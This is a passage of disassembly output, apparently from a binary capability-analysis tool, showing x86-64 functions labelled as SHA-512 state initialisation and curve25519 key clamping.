mov rax, qword [r9 + 4]
mov qword [rcx + 4], rax
mov eax, dword [r9 + 0xc]
mov dword [rcx + 0xc], eax
ret
Function at 0x17ee90
Capabilities:
Hash data using sha512

Disassembly:
test rcx, rcx
je 0x17ef1b
mov qword [rcx + 0x48], 0
mov qword [rcx], 0
movabs rax, 0x6a09e667f3bcc908
mov qword [rcx + 8], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 0x10], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x18], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x20], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x28], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x30], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x38], rax
mov eax, 1
ret
Function at 0x17f940
Capabilities:
Encrypt data using curve25519

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xc0
mov rsi, rdx
mov rdi, rcx
mov edx, 0x20
mov rcx, r8
mov r8, rsi
call fcn.0017f6b0
and byte [rsi], 0xf8
mov al, byte [rsi + 0x1f]
and al, 0x3f
or al, 0x40
mov byte [rsi + 0x1f], al
lea rbx, [rsp + 0x20]
mov rcx, rbx
mov rdx, rsi
call fcn.0017c300
mov rcx, rdi
mov rdx, rbx
call fcn.0017c280
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret